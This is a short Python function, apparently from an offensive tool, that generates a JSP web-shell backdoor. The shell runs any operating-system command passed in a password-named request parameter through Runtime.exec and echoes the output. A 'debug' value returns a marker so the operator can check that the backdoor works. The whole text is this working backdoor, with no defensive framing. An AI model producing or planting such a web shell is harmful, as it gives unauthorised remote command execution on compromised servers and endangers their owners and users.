'Generate a jsp backdoor'

def jsp(self):

    backdoor = '<%@    page    import="java.util.*,java.io.*"    %><%@    page    import="java.io.*"%><%@    page    import="java.util.*"%><%String    cmd    =    request.getParameter("{password}");if    (cmd    !=    null    &&    "debug".equals(cmd))                out.println("<T>".replace("T","{password}"));else    if    (cmd    !=    null    &&    !"".equals(cmd)){{                Process    p    =    Runtime.getRuntime().exec(cmd);                OutputStream    os    =    p.getOutputStream();                InputStream    in    =    p.getInputStream();                DataInputStream    dis    =    new    DataInputStream(in);                String    disr    =    dis.readLine();                while    (    disr    !=    null)                {{                                out.println(disr);                                disr    =    dis.readLine();                }}}}%>'.format(password=self.password)
    flag_code = 'debug'
    flag_match = '<{}>'.format(self.password)
    return (backdoor, flag_code, flag_match)
